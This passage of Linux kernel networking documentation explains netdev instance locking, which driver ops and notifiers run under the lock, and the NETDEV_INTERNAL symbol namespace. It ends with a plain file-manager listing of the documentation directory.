<p>For device drivers that implement shaping or queue management APIs, all control
operations will be performed under the netdev instance lock.
Drivers can also explicitly request instance lock to be held during ops
by setting <code class="docutils literal notranslate"><span class="pre">request_ops_lock</span></code> to true. Code comments and docs refer
to drivers which have ops called under the instance lock as “ops locked”.
See also the documentation of the <code class="docutils literal notranslate"><span class="pre">lock</span></code> member of <a class="reference internal" href="kapi.html#c.net_device" title="net_device"><code class="xref c c-struct docutils literal notranslate"><span class="pre">struct</span> <span class="pre">net_device</span></code></a>.</p>
<p>In the future, there will be an option for individual
drivers to opt out of using <code class="docutils literal notranslate"><span class="pre">rtnl_lock</span></code> and instead perform their control
operations directly under the netdev instance lock.</p>
<p>Devices drivers are encouraged to rely on the instance lock where possible.</p>
<p>For the (mostly software) drivers that need to interact with the core stack,
there are two sets of interfaces: <code class="docutils literal notranslate"><span class="pre">dev_xxx</span></code>/<code class="docutils literal notranslate"><span class="pre">netdev_xxx</span></code> and <code class="docutils literal notranslate"><span class="pre">netif_xxx</span></code>
(e.g., <code class="docutils literal notranslate"><span class="pre">dev_set_mtu</span></code> and <code class="docutils literal notranslate"><span class="pre">netif_set_mtu</span></code>). The <code class="docutils literal notranslate"><span class="pre">dev_xxx</span></code>/<code class="docutils literal notranslate"><span class="pre">netdev_xxx</span></code>
functions handle acquiring the instance lock themselves, while the
<code class="docutils literal notranslate"><span class="pre">netif_xxx</span></code> functions assume that the driver has already acquired
the instance lock.</p>
<section id="struct-net-device-ops">
<h3>struct net_device_ops<a class="headerlink" href="#struct-net-device-ops" title="Link to this heading">¶</a></h3>
<p><code class="docutils literal notranslate"><span class="pre">ndos</span></code> are called without holding the instance lock for most drivers.</p>
<p>“Ops locked” drivers will have most of the <code class="docutils literal notranslate"><span class="pre">ndos</span></code> invoked under
the instance lock.</p>
</section>
<section id="struct-ethtool-ops">
<h3>struct ethtool_ops<a class="headerlink" href="#struct-ethtool-ops" title="Link to this heading">¶</a></h3>
<p>Similarly to <code class="docutils literal notranslate"><span class="pre">ndos</span></code> the instance lock is only held for select drivers.
For “ops locked” drivers all ethtool ops without exceptions should
be called under the instance lock.</p>
</section>
<section id="struct-netdev-stat-ops">
<h3>struct netdev_stat_ops<a class="headerlink" href="#struct-netdev-stat-ops" title="Link to this heading">¶</a></h3>
<p>“qstat” ops are invoked under the instance lock for “ops locked” drivers,
and under rtnl_lock for all other drivers.</p>
</section>
<section id="struct-net-shaper-ops">
<h3>struct net_shaper_ops<a class="headerlink" href="#struct-net-shaper-ops" title="Link to this heading">¶</a></h3>
<p>All net shaper callbacks are invoked while holding the netdev instance
lock. <code class="docutils literal notranslate"><span class="pre">rtnl_lock</span></code> may or may not be held.</p>
<p>Note that supporting net shapers automatically enables “ops locking”.</p>
</section>
<section id="struct-netdev-queue-mgmt-ops">
<h3>struct netdev_queue_mgmt_ops<a class="headerlink" href="#struct-netdev-queue-mgmt-ops" title="Link to this heading">¶</a></h3>
<p>All queue management callbacks are invoked while holding the netdev instance
lock. <code class="docutils literal notranslate"><span class="pre">rtnl_lock</span></code> may or may not be held.</p>
<p>Note that supporting <code class="xref c c-struct broken_xref docutils literal notranslate"><span class="pre">struct</span> <span class="pre">netdev_queue_mgmt_ops</span></code> automatically enables
“ops locking”.</p>
</section>
<section id="notifiers-and-netdev-instance-lock">
<h3>Notifiers and netdev instance lock<a class="headerlink" href="#notifiers-and-netdev-instance-lock" title="Link to this heading">¶</a></h3>
<p>For device drivers that implement shaping or queue management APIs,
some of the notifiers (<code class="docutils literal notranslate"><span class="pre">enum</span> <span class="pre">netdev_cmd</span></code>) are running under the netdev
instance lock.</p>
<p>The following netdev notifiers are always run under the instance lock:
* <code class="docutils literal notranslate"><span class="pre">NETDEV_XDP_FEAT_CHANGE</span></code></p>
<p>For devices with locked ops, currently only the following notifiers are
running under the lock:
* <code class="docutils literal notranslate"><span class="pre">NETDEV_CHANGE</span></code>
* <code class="docutils literal notranslate"><span class="pre">NETDEV_REGISTER</span></code>
* <code class="docutils literal notranslate"><span class="pre">NETDEV_UP</span></code></p>
<p>The following notifiers are running without the lock:
* <code class="docutils literal notranslate"><span class="pre">NETDEV_UNREGISTER</span></code></p>
<p>There are no clear expectations for the remaining notifiers. Notifiers not on
the list may run with or without the instance lock, potentially even invoking
the same notifier type with and without the lock from different code paths.
The goal is to eventually ensure that all (or most, with a few documented
exceptions) notifiers run under the instance lock. Please extend this
documentation whenever you make explicit assumption about lock being held
from a notifier.</p>
</section>
</section>
<section id="netdev-internal-symbol-namespace">
<h2>NETDEV_INTERNAL symbol namespace<a class="headerlink" href="#netdev-internal-symbol-namespace" title="Link to this heading">¶</a></h2>
<p>Symbols exported as NETDEV_INTERNAL can only be used in networking
core and drivers which exclusively flow via the main networking list and trees.
Note that the inverse is not true, most symbols outside of NETDEV_INTERNAL
are not expected to be used by random code outside netdev either.
Symbols may lack the designation because they predate the namespaces,
or simply due to an oversight.</p>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/networking/netdevices.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
caif Folder 0755
device_drivers Folder 0755
devlink Folder 0755
diagnostic Folder 0755
dsa Folder 0755
mac80211_hwsim Folder 0755
net_cachelines Folder 0755
pse-pd Folder 0755
6lowpan.html File 9.97 KB 0644
6pack.html File 18.06 KB 0644
af_xdp.html File 71.08 KB 0644
alias.html File 9.71 KB 0644
arcnet-hardware.html File 153.3 KB 0644
arcnet.html File 37.48 KB 0644
atm.html File 8.24 KB 0644
ax25.html File 8.75 KB 0644
bareudp.html File 10.56 KB 0644
batman-adv.html File 16.81 KB 0644
bonding.html File 140.89 KB 0644
bridge.html File 53.36 KB 0644
can.html File 120.11 KB 0644
can_ucan_protocol.html File 25.27 KB 0644
cdc_mbim.html File 25.28 KB 0644
checksum-offloads.html File 16.15 KB 0644
dctcp.html File 10.32 KB 0644
devmem.html File 24.33 KB 0644
dns_resolver.html File 15.11 KB 0644
driver.html File 20.41 KB 0644
eql.html File 31.48 KB 0644
ethtool-netlink.html File 274 KB 0644
failover.html File 8.43 KB 0644
fib_trie.html File 16.04 KB 0644
filter.html File 42.43 KB 0644
gen_stats.html File 14.2 KB 0644
generic-hdlc.html File 14.67 KB 0644
generic_netlink.html File 8.11 KB 0644
gtp.html File 20.55 KB 0644
ieee802154.html File 25.03 KB 0644
ila.html File 21.79 KB 0644
index.html File 108.18 KB 0644
ioam6-sysctl.html File 8.48 KB 0644
iou-zcrx.html File 16.63 KB 0644
ip-sysctl.html File 154.81 KB 0644
ip_dynaddr.html File 9.97 KB 0644
ipsec.html File 9.71 KB 0644
ipv6.html File 9.87 KB 0644
ipvlan.html File 16.87 KB 0644
ipvs-sysctl.html File 20.73 KB 0644
iso15765-2.html File 39.91 KB 0644
j1939.html File 99.33 KB 0644
kapi.html File 1.78 MB 0644
kcm.html File 21.67 KB 0644
l2tp.html File 47.74 KB 0644
lapb-module.html File 22.56 KB 0644
mac80211-injection.html File 12.37 KB 0644
mctp.html File 35.16 KB 0644
mpls-sysctl.html File 9.64 KB 0644
mptcp-sysctl.html File 13.33 KB 0644
mptcp.html File 19.74 KB 0644
msg_zerocopy.html File 19.72 KB 0644
multi-pf-netdev.html File 17.48 KB 0644
multiqueue.html File 13.21 KB 0644
napi.html File 43.36 KB 0644
net_dim.html File 76.45 KB 0644
net_failover.html File 16.3 KB 0644
netconsole.html File 31.44 KB 0644
netdev-features.html File 17.75 KB 0644
netdevices.html File 43.33 KB 0644
netfilter-sysctl.html File 8.43 KB 0644
netif-msg.html File 12.93 KB 0644
netmem.html File 14.84 KB 0644
nexthop-group-resilient.html File 24.56 KB 0644
nf_conntrack-sysctl.html File 15.77 KB 0644
nf_flowtable.html File 21.24 KB 0644
nfc.html File 13.73 KB 0644
oa-tc6-framework.html File 39.07 KB 0644
openvswitch.html File 21.15 KB 0644
operstates.html File 18.28 KB 0644
packet_mmap.html File 55.34 KB 0644
page_pool.html File 59.25 KB 0644
phonet.html File 16.92 KB 0644
phy-link-topology.html File 15.77 KB 0644
phy.html File 40.5 KB 0644
pktgen.html File 24.97 KB 0644
plip.html File 18.56 KB 0644
ppp_generic.html File 37.23 KB 0644
proc_net_tcp.html File 11.13 KB 0644
psp.html File 18.66 KB 0644
radiotap-headers.html File 14.73 KB 0644
rds.html File 29.39 KB 0644
regulatory.html File 18.44 KB 0644
representors.html File 25.79 KB 0644
rxrpc.html File 130.88 KB 0644
scaling.html File 40.25 KB 0644
sctp.html File 9.73 KB 0644
secid.html File 8.42 KB 0644
seg6-sysctl.html File 9.53 KB 0644
segmentation-offloads.html File 17.81 KB 0644
sfp-phylink.html File 41.09 KB 0644
skbuff.html File 29.22 KB 0644
smc-sysctl.html File 10.42 KB 0644
snmp_counter.html File 91.51 KB 0644
sriov.html File 9.46 KB 0644
statistics.html File 31.78 KB 0644
strparser.html File 19.15 KB 0644
switchdev.html File 39.55 KB 0644
sysfs-tagging.html File 10.95 KB 0644
tc-actions-env-rules.html File 8.87 KB 0644
tc-queue-filters.html File 9.33 KB 0644
tcp-thin.html File 10.33 KB 0644
tcp_ao.html File 35.85 KB 0644
team.html File 7.93 KB 0644
timestamping.html File 59.83 KB 0644
tipc.html File 384.61 KB 0644
tls-handshake.html File 21.18 KB 0644
tls-offload.html File 42.72 KB 0644
tls.html File 39.38 KB 0644
tproxy.html File 13.18 KB 0644
tuntap.html File 19 KB 0644
udplite.html File 23.04 KB 0644
vrf.html File 28.46 KB 0644
vxlan.html File 11.95 KB 0644
x25-iface.html File 10.9 KB 0644
x25.html File 10.07 KB 0644
xdp-rx-metadata.html File 27.46 KB 0644
xfrm_device.html File 19.14 KB 0644
xfrm_proc.html File 11.37 KB 0644
xfrm_sync.html File 15.85 KB 0644
xfrm_sysctl.html File 8.07 KB 0644
xsk-tx-metadata.html File 18.64 KB 0644
Filemanager